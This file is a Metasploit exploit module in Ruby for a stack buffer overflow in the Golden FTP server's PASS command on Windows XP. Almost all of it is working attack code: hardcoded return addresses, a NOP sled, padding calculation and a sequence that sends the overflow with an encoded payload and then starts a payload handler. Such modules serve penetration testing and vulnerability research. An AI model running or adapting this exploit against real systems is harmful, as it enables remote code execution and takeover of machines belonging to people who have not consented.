##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Golden FTP service, using the PASS
				command to cause a buffer overflow.  Please note that in order trigger the vulnerable
				code, the victim machine must have the "Show new connections" setting enabled.  By
				default, this option is unchecked.
			},
			'Author'         =>
				[
					'Craig Freyman',  #Initial poc on exploit-db with iglesiasgg
					'bannedit',  #Initial msf module
					'Joff Thyer <jsthyer[at]gmail.com>',  #Improved msf version
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2006-6576'],
					[ 'OSVDB', '35951'],
					[ 'BID', '45957'],
					[ 'EDB', '16036'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 440,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => ['win'],
			'Targets'        =>
				[
					[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ],     #JMP ESI USER32.dll
					[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ],     #JMP ESI USER32.dll
					[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ]  #JMP ESI kernel32.dll
				],
			'DisclosureDate' => 'Jan 23 2011'))
	end

	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		shortjmp = make_nops(3) + "\xeb\x20"
		nopsled = make_nops(1) * 60
		srciplen = Rex::Socket.source_address.length
		padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))

		sploit = nopsled
		sploit << payload.encoded
		sploit << padding
		sploit << [target.ret].pack('V')

		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")

		connect
		raw_send(shortjmp + "\n")
		send_user(datastore['FTPUSER'])
		send_cmd(['PASS', sploit], false)
		select(nil,nil,nil,2)
		handler
		disconnect
	end
end
